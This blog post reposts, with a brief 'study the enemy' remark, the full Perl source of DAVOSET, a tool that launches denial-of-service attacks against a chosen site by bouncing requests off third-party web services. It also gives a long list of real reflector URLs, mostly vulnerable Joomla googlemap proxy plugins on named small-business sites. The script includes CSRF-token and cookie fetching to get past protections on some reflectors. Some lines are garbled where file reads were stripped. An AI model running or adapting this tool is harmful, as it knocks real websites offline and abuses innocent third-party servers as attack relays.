DDOS Perl Script being use to DDOS sites

I found this code that I’m pretty sure is being used to ddos the site, I want to study it so I’m putting here 🙂
I always believe the best way to defeat our enemies is by knowing what type of weapon they use  😛
Original Link: http://pastebin.com/quBg50uP

[Davoset.pl]
#!/usr/bin/perl
# DDoS attacks via other sites execution tool
# DAVOSET v.1.1.9
# Tool for conducting of DDoS attacks on the sites via other sites
# Copyright (C) MustLive 2010-2014
# Last update: 29.03.2014
# http://websecurity.com.ua
#############################################
# Settings
my $version = "1.1.9"; # program version
my $agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; # user agent
my $default_port = "80"; # default port of the host
my $show_stat = 1; # show statistic of work
my $default_site = "http://site"; # default site for attack
my $testURL = "http://www.google.com"; # default site for testing botnet
my $list_servers = "list.txt"; # list of zombie-servers
my $mode = "0"; # 0 - standard mode, 1 - cyclic mode
my $cycles = "10"; # number of cycles in cyclic mode
my $max_cycles = "1000"; # maximum number of cycles in cyclic mode
my $log = 1; # 0 - turn off , 1 - turn on logging
my $log_file = "logs.txt"; # log with results of work
#############################################
use IO::Socket;
my (@list,$input,$site,$item,$servers,$cycle,$i,$req,$time,$time1,$time2,$speed,$speed2,$sec,$hour,$traffic);
if ($#ARGV >= 0) {
for ($i=0;$i<=$#ARGV;$i++){
if ($ARGV[$i] =~ /^u=(.+)$/) { # URL
$site = $1;
}
elsif ($ARGV[$i] =~ /^test$/) { # test
$site = "test";
}
elsif ($ARGV[$i] =~ /^l=(.+)$/) { # file with list
$list_servers = $1;
}
elsif ($ARGV[$i] =~ /^m=(\d)$/) { # mode
if ($1 == 1) {
$mode = 1;
}
else {
$mode = 0;
}
}
elsif ($ARGV[$i] =~ /^c=(\d+)$/) { # number of cycles
$cycles = $1;
}
elsif ($ARGV[$i] =~ /^log=(\d)$/) { # logging
if ($1 == 1) {
$log = 1;
}
else {
$log = 0;
}
}
}
}
&Info;
open(FILE,"<$list_servers") || die "\nFile $list_servers not found.\n";
@list = ;
close(FILE);
foreach $item (@list) {
chomp($item);
if ($item) {
$servers++;
}
}
if (!$site) {
print "Site: ";
$input = ;
chomp($input);
if (!$input) {
$site = $default_site;
}
else {
$site = $input;
}
}
if ($site eq "test") {
Logging("Test on $testURL") if $log;
&Test;
}
$site =~ s/&/%26/g; # for correct work with zombie-servers
Logging("Attack on $site") if $log;
print "\nSite $site is attacking by $servers zombie-servers...\n\n";
$time1 = (time)[0] if $show_stat;
$cycles = 1 if (!$mode || $cycles < 1);
$cycles = $max_cycles if ($cycles > $max_cycles);
for ($cycle=0;$cycle<$cycles;$cycle++) {
$i = 0;
foreach $item (@list) {
chomp($item);
if ($item) {
print ++$i."\n";
my ($url,$method,$file) = split /;/,$item;
if ($method eq "POST" or $method eq "XML") {
if (open(FILE,"<$file")) {
my $params = ;
chomp($params);
close(FILE);
Attack($site,$url,$method,$params);
}
else {
print "\nFile $file not found.\n"
}
}
else {
Attack($site,$url,$method);
}
}
}
$req += $i;
}
$time2 = (time)[0] if $show_stat;
print "\nAttack has been conducted.\n";
if ($show_stat) {
$time = $time2-$time1;
$time |= 1;
$speed = $req/$time;
$speed2 = length($traffic)/$time;
$hour = int($time/360);
$sec = $time%60;
$sec = "0".$sec if ($sec<10);
print "\nTime: ";
if ($hour) {
print "$hour:".(int($time/60)-$hour*60).":$sec.\n";
}
else {
print int($time/60).":$sec.\n";
}
print "Requests: $req, Bytes: ".length($traffic).".\n";
printf "Speed: %0.5f req/s, %0.5f B/s.\n",$speed,$speed2;
}
sub Info { # info
print qq~
DDoS attacks via other sites execution tool
DAVOSET v.$version
Copyright (C) MustLive 2010-2014
~;
}
sub Attack { # send request to zombie-server
my $site = $_[0];
my $url = $_[1];
my $method = $_[2];
my $params = $_[3];
my ($sock,$host,$page,$port,$csrftoken,$cookie);
$site =~ s|^http://|| if ($url =~ /plugin_googlemap2_proxy.php/);
$site =~ s|^http://|| if ($url =~ /plugin_googlemap3_proxy.php/);
$site =~ s|^http://|| if ($url =~ /plugin_googlemap2_kmlprxy.php/);
$site =~ s|^http://|| if ($url =~ /plugin_googlemap3_kmlprxy.php/);
$site = "http://$site" if ($site !~ /^http:/ && $url =~ m|^http://demo.geonode.org|);
$url =~ m|(http://[^/]+)(/.+)?|;
$host = $1;
$page = $2;
$page |= "/";
$port = $1 if ($host =~ /:(\d+)$/);
$port ||= $default_port;
$host =~ s|^http://||;
if ($host eq "browsershots.org") {
$csrftoken = &GetCsrfToken;
}
elsif ($host eq "ping-admin.ru") {
$cookie = &GetCookie($page);
}
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "$port");
if (!$sock) {
print "- The Socket: $!\n";
return;
}
if ($method eq "BYPASS") {
$host =~ /^(www\.)?(.+)\.\w+$/;
$site = "$2.$site";
}
if ($method eq "POST") {
$params .= $site;
$params .= "&csrfmiddlewaretoken=$csrftoken" if $csrftoken;
print $sock "POST $page HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "User-Agent: $agent\n";
print $sock "Accept: */*\n";
print $sock "Content-Length: ". length($params) ."\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Cookie: csrftoken=$csrftoken\n" if $csrftoken;
print $sock "Cookie: $cookie\n" if $cookie;
print $sock "Connection: close\n\n";
print $sock "$params\r\n\r\n";
}
elsif ($method eq "XML") {
$params =~ s|http://site|$site|;
print $sock "POST $page HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "User-Agent: $agent\n";
print $sock "Accept: */*\n";
print $sock "Content-Length: ". length($params) ."\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Connection: close\n\n";
print $sock "$params\r\n\r\n";
}
else {
if ($url =~ m|^http://translate.yandex.net|) {
print $sock "GET $page$site/ HTTP/1.1\n";
}
else {
print $sock "GET $page$site HTTP/1.1\n";
}
print $sock "Host: $host\n";
print $sock "User-Agent: $agent\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\r\n\r\n";
}
if ($show_stat) {
if ($method eq "POST") {
$traffic .= "POST $page HTTP/1.1\nHost: $host\nUser-Agent: $agent\nAccept: */*\nContent-Length: ". length($params) ."\nContent-Type: application/x-www-form-urlencoded\n";
$traffic .= "Cookie: csrftoken=$csrftoken\n" if $csrftoken;
$traffic .= "Cookie: $cookie\n" if $cookie;
$traffic .= "Connection: close\n\n$params\r\n\r\n";
}
elsif ($method eq "XML") {
$traffic .= "POST $page HTTP/1.1\nHost: $host\nUser-Agent: $agent\nAccept: */*\nContent-Length: ". length($params) ."\nContent-Type: application/x-www-form-urlencoded\nConnection: close\n\n$params\r\n\r\n";
}
else {
$traffic .= "GET $page$site";
$traffic .= "/" if ($url =~ m|^http://translate.yandex.net|);
$traffic .= " HTTP/1.1\nHost: $host\nUser-Agent: $agent\nAccept: */*\nConnection: close\r\n\r\n";
}
}
}
sub Test { # test list of zombie-servers
print "\nThe botnet with $servers zombie-servers is checking...\n\n";
$i = 0;
foreach $item (@list) {
chomp($item);
if ($item) {
print ++$i." - ";
my ($url,$method,$file) = split /;/,$item;
if ($method eq "POST" or $method eq "XML") {
if (open(FILE,"<$file")) {
my $params = ;
chomp($params);
close(FILE);
TestServer($testURL,$url,$method,$params);
}
else {
print "\nFile $file not found.\n"
}
}
else {
TestServer($testURL,$url,$method);
}
}
}
exit();
}
sub TestServer { # test zombie-server
my $site = $_[0];
my $url = $_[1];
my $method = $_[2];
my $params = $_[3];
my ($sock,$host,$page,$content,$csrftoken,$cookie);
$site =~ s|^http://|| if ($url =~ /plugin_googlemap2_proxy.php/);
$site =~ s|^http://|| if ($url =~ /plugin_googlemap3_proxy.php/);
$site =~ s|^http://|| if ($url =~ /plugin_googlemap2_kmlprxy.php/);
$site =~ s|^http://|| if ($url =~ /plugin_googlemap3_kmlprxy.php/);
$site = "http://$site" if ($site !~ /^http:/ && $url =~ m|^http://demo.geonode.org|);
$url =~ m|(http://[^/]+)(/.+)?|;
$host = $1;
$page = $2;
$page |= "/";
$port = $1 if ($host =~ /:(\d+)$/);
$port ||= $default_port;
$host =~ s|^http://||;
if ($host eq "browsershots.org") {
$csrftoken = &GetCsrfToken;
}
elsif ($host eq "ping-admin.ru") {
$cookie = &GetCookie($page);
}
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "$port");
if (!$sock) {
print "The Socket: $!\n";
return;
}
if ($method eq "BYPASS") {
$host =~ /^(www\.)?(.+)\.\w+$/;
$site = "$2.$site";
}
if ($method eq "POST") {
$params .= $site;
$params .= "&csrfmiddlewaretoken=$csrftoken" if $csrftoken;
print $sock "POST $page HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "User-Agent: $agent\n";
print $sock "Accept: */*\n";
print $sock "Content-Length: ". length($params) ."\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Cookie: csrftoken=$csrftoken\n" if $csrftoken;
print $sock "Cookie: $cookie\n" if $cookie;
print $sock "Connection: close\n\n";
print $sock "$params\r\n\r\n";
}
elsif ($method eq "XML") {
$params =~ s|http://site|$site|;
print $sock "POST $page HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "User-Agent: $agent\n";
print $sock "Accept: */*\n";
print $sock "Content-Length: ". length($params) ."\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Connection: close\n\n";
print $sock "$params\r\n\r\n";
}
else {
if ($url =~ m|^http://translate.yandex.net|) {
print $sock "GET $page$site/ HTTP/1.1\n";
}
else {
print $sock "GET $page$site HTTP/1.1\n";
}
print $sock "Host: $host\n";
print $sock "User-Agent: $agent\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\r\n\r\n";
}
$content = "";
while (<$sock>) {
$content .= $_;
}
if ($content =~ /HTTP\/\d.\d (\d\d\d)/){
if ($1 >= 400){
print "Error ($1)\n";
}
else {
print "OK ($1)\n";
}
}
else {
print "Error\n";
}
}
sub GetCsrfToken { # get CSRF token
my ($sock,$content,$csrftoken);
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "browsershots.org", PeerPort => "80");
if (!$sock) {
print "The Socket: $!\n";
return;
}
print $sock "GET / HTTP/1.1\n";
print $sock "Host: browsershots.org\n";
print $sock "User-Agent: $agent\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\r\n\r\n";
$content = "";
while (<$sock>) {
$content .= $_;
}
$csrftoken = $1 if ($content =~ /name='csrfmiddlewaretoken' value='(.+?)'/);
if ($show_stat) {
$traffic .= "GET / HTTP/1.1\nHost: browsershots.org\nUser-Agent: $agent\nAccept: */*\nConnection: close\r\n\r\n";
}
return $csrftoken;
}
sub GetCookie { # get cookie
my $url = $_[0];
my ($sock,$content,@cookies,$cookie);
$url =~ s/index.sema/free_seo\//;
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "ping-admin.ru", PeerPort => "80");
if (!$sock) {
print "The Socket: $!\n";
return;
}
print $sock "GET $url HTTP/1.1\n";
print $sock "Host: ping-admin.ru\n";
print $sock "User-Agent: $agent\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\r\n\r\n";
$content = "";
while (<$sock>) {
$content .= $_;
}
while ($content =~ /Set-Cookie: (.+?=.+?); expires/g) {
push(@cookies,$1);
}
$cookie = join("; ",@cookies);
if ($show_stat) {
$traffic .= "GET / HTTP/1.1\nHost: ping-admin.ru\nUser-Agent: $agent\nAccept: */*\nConnection: close\r\n\r\n";
}
return $cookie;
}
sub Logging { # Logging results of work
my @months = ('01','02','03','04','05','06','07','08','09','10','11','12');
my ($sec,$min,$hour,$day,$mon,$year) = (localtime(time))[0,1,2,3,4,5];
$year += 1900;
$sec = "0".$sec if ($sec<10);
$min = "0".$min if ($min<10);
$hour = "0".$hour if ($hour<10);
$day = "0".$day if ($day<10);
my $date = "$day.$months[$mon].$year $hour:$min:$sec";
open(FILE, ">>$log_file");
print FILE "$date;$_[0]\n";
close(FILE);
}
[list_full.txt]
http://www.google.com/ig/add?feedurl=
http://anonymouse.org/cgi-bin/anon-www.cgi/
http://www.google.com/translate?u=
http://translate.google.com/translate?u=
http://validator.w3.org/feed/check.cgi?url=
http://www.w3.org/2001/03/webdata/xsv?style=xsl&docAddrs=
http://validator.w3.org/check?uri=
http://jigsaw.w3.org/css-validator/validator?uri=
http://validator.w3.org/checklink?uri=
http://qa-dev.w3.org/unicorn/check?ucn_task=conformance&ucn_uri=
http://www.w3.org/RDF/Validator/ARPServlet?URI=
http://www.w3.org/2005/08/online_xslt/xslt?xslfile=http%3A%2F%2Fwww.w3.org%2F2002%2F08%2Fextract-semantic.xsl&xmlfile=
http://www.w3.org/2005/08/online_xslt/xslt?xmlfile=http://www.w3.org&xslfile=
http://www.w3.org/services/tidy?docAddr=
http://validator.w3.org/mobile/check?docAddr=
http://validator.w3.org/p3p/20020128/p3p.pl?uri=
http://validator.w3.org/p3p/20020128/policy.pl?uri=
http://online.htmlvalidator.com/php/onlinevallite.php?url=
http://feedvalidator.org/check.cgi?url=
http://gmodules.com/ig/creator?url=
http://www.google.com/ig/adde?moduleurl=
http://www.cynthiasays.com/mynewtester/cynthia.exe?rptmode=-1&url1=
http://www.watchmouse.com/en/checkit.php?c=jpcheckit&vurl=
http://host-tracker.com/check_page/?furl=
http://panel.stopthehacker.com/services/validate-payflow?email=1@1.com&callback=a&target=
http://www.onlinewebcheck.com/check.php?url=
http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=
http://www.translate.ru/url/translation.aspx?direction=er&sourceURL=
http://about42.nl/www/showheaders.php;POST;about42.nl.txt
http://browsershots.org;POST;browsershots.org.txt
http://streamitwebseries.twww.tv/proxy.php?url=
http://www.comicgeekspeak.com/proxy.php?url=
http://67.20.105.143/bitess/plugins/content/plugin_googlemap2_proxy.php?url=
http://bemaxjavea.com/javea-rentals-alquileres/plugins/content/plugin_googlemap2_proxy.php?url=
http://centrobrico.net/plugins/content/plugin_googlemap2_proxy.php?url=
http://conodeluz.org/magnanet/plugins/content/plugin_googlemap2_proxy.php?url=
http://greenappledentaldt.com/home/templates/plugins/content/plugin_googlemap2_proxy.php?url=
http://html.strost.ch/dgi/plugins/content/plugin_googlemap2_proxy.php?url=
http://ijzerhandeljanssen.nl/web/plugins/content/plugin_googlemap2_proxy.php?url=
http://kobbeleia.net/joomla/plugins/content/plugin_googlemap2_proxy.php?url=
http://krd-medway.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url=
http://minterne.co.uk/mjs/plugins/content/plugin_googlemap2_proxy.php?url=
http://old.ucpb.org/plugins/content/plugin_googlemap2_proxy.php?url=
http://peelmc.ca/plugins/content/plugin_googlemap2_proxy.php?url=
http://s2p.lt/main/plugins/content/plugin_googlemap2_proxy.php?url=
http://smartonecity.com/pt/plugins/content/plugin_googlemap2_proxy.php?url=
http://snelderssport.nl/web/plugins/content/plugin_googlemap2_proxy.php?url=
http://sunnyhillsassistedliving.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://thevintagechurch.com/www2/index.php?url=/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.abc-haus.ch/reinigung/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.abs-silos.de/en/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.admksg.ru/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.alhambrahotel.net/site/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.aliento.ch/cms/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.autoklyszewski.pl/autoklyszewski/mambots/content/plugin_googlemap2_proxy.php?url=
http://www.build.or.at/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.caiverbano.it/sito/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.cbcstittsville.com/home/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.ciutatdeivissa.org/portal/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.contrau.com.br/web/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.dierenhotelspaubeek.nl/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.fotorima.com/rima/site2/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.gaston-schul.nl/DU/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.gaston-schul.nl/FR/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.gillinghamgurdwara.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.gilmeuble.ch/cms/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.hortonmccormick.com/cms/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.icel.be/cms/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.idea-designer.com/idea/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.jana-wagenknecht.de/wcms/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.kanzlei-berendes.de/homepage/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.kita-spielhaus.de/cms/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.kjg-hemer.de/joomla/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.labonnevie-guesthouse-jersey.com/site/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.lacasaencarilo.com.ar/sitio/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.losaromos-spa.com.ar/cms/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.losaromos-spa.com.ar/~losaromo/cms/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.nickclift.co.uk/web/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.oliebollen.me/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.palagini.it/palagini/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.paro-nl.com/v2/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.parsifaldisco.com/joomla/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.podosys.com/csm/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.precak.sk/penzion/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.pyrenees-cerdagne.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.renault-windisch.de/cms/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.rethinkingjournalism.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.riegler-dorner.at/joomla/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.sealyham.sk/joomla/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.seevilla-dr-sturm.at/cms/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.siroki.it/newsite/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.sounders.es/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.suelcasa.com/suelcasa/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.tcl.lu/Site/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.tijssen-staal.nl/site/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.triatarim.com.tr/TriaEn/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.tus-haltern.de/site/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.uchlhr.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.virmcc.de/joomla/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.visitsliven.com/bg/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.vm-esslingen.de/cms/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.yigilca.gov.tr/_tr/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.zahnarzt-buhl.de/praxis/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.sultanpalace.nl/site/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.bergenpol.com/cms//plugins/content/plugin_googlemap2_proxy.php?url=
http://www.arantzabelaikastola.com/webgunea//plugins/content/plugin_googlemap2_proxy.php?url=
http://www.fare-furore.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.dog-ryusen.com/plugins/system/plugin_googlemap2_proxy.php?url=
http://www.dunaexpert.hu/home/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.spvgg-roedersheim.de/web/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://www.stephanus-web.de/joomla1015/mambots/content/plugin_googlemap2_proxy.php?url=
http://www.dahlnet.no/v2/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://ping-admin.ru/index.sema;POST;ping-admin.ru.txt
http://web-sniffer.net/?url=
http://www.map-mc.com/plugins/system/plugin_googlemap2_proxy.php?url=
http://sova-tour.com.ua/plugins/system/plugin_googlemap2_proxy.php?url=
http://diegoborba.com.br/andes/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://karismatic.com.my/new/plugins/content/plugin_googlemap2_proxy.php?url=
http://scu-oldesloe.de/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://www.awf.co.nz/plugins/system/plugin_googlemap3_proxy.php?url=
http://translate.yandex.ru/translate?srv=yasearch&lang=ru-uk&url=
http://translate.yandex.ua/translate?srv=yasearch&lang=ru-uk&url=
http://translate.yandex.net/tr-url/ru-uk.uk/
http://www.oldbrogue.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://www.mcdp.eu/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://www.phimedia.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://www.bongert.lu/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://laresmadrid.org/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://www.epcelektrik.com/en/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://doleorganic.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://crawfordlivestock.com/plugins/system/plugin_googlemap2_proxy.php?url=
http://www.aculaval.com/joomla/plugins/system/plugin_googlemap2_proxy.php?url=
http://grandsultansaloon.com/plugins/system/plugin_googlemap2_proxy.php?url=
http://www.d1010449.cp.blacknight.com/cpr.ie/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.architettaresas.it/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://basketgbkoekelare.be/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.arbitresmultisports.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://mobilrecord.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.dbaa.co.za/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://waggum-bevenrode.sg-bevenrode.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://bwsnt1.pdsda.net/plugins/system/plugin_googlemap3_proxy.php?url=
http://www.astecdisseny.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.fillmorefairways.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.bus-reichert.eu/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://www.maxxxi.ru/plugins/system/plugin_googlemap2_proxy.php?url=
http://potholepeople.co.nz/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://www.hammondgolf.com/plugins/system/plugin_googlemap2_proxy.php?url=
http://www.footgoal33.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.printingit.ie/plugins/content/plugin_googlemap2_proxy.php?url=
http://bbtoma.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.tajmahalrestaurant.co.za/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://www.yerbabuenacuisine.com/plugins/system/plugin_googlemap2_proxy.php?url=
http://www.rinner-alm.com/plugins/system/plugin_googlemap2_proxy.php?url=
http://stockbridgetownhall.co.uk/plugins/content/plugin_googlemap2_proxy.php?url=
http://mentzerrepairs.com/plugins/system/plugin_googlemap2_proxy.php?url=
http://www.tilmouthwell.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://www.homevisionsinc.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://toddlers.nalanda.edu.in/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://cultura-city.rv.ua/plugins/system/plugin_googlemap3_proxy.php?url=
http://secret.leylines.info/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://bike-electric.co.uk/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://www.centroaquaria.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://agenzia-anna.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://www.gretnadrug.com/plugins/system/plugin_googlemap2_proxy.php?url=
http://www.crestwoodpediatric.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://www.oceans-wien.com/plugins/system/plugin_googlemap2_proxy.php?url=;BYPASS
http://lavori.joomlaskin.it/italyhotels/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file=
http://santaclaradelmar.com/hoteles/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file=
http://www.authentic-luxe-locations.com/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file=
http://www.keenecinemas.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://www.hotelmonyoli.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://prosperitydrug.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://policlinicamonteabraao.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.vetreriafasanese.com/plugins/system/plugin_googlemap2_proxy.php?url=
http://www.benawifi.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://www.valleyview.sa.edu.au/plugins/system/plugin_googlemap2_proxy.php?url=
http://www.racersedgekarting.com/plugins/content/plugin_googlemap2_proxy.php?url=
http://www.minterne.co.uk/mjs/plugins/content/plugin_googlemap2_proxy.php?url=?url=
http://www.villamagnoliarelais.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=
http://worldwide-trips.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://systemnet.com.ua/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://www.netacad.lviv.ua/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://www.veloclub.ru/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=
http://www.virtualsoft.pl/plugins/content/plugin_googlemap3_proxy.php?url=
http://gminazdzieszowice.pl/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=

2 thoughts on “DDOS Perl Script being use to DDOS sites

Leave a Reply

You must Register or Login to comment on DDOS Perl Script being use to DDOS sites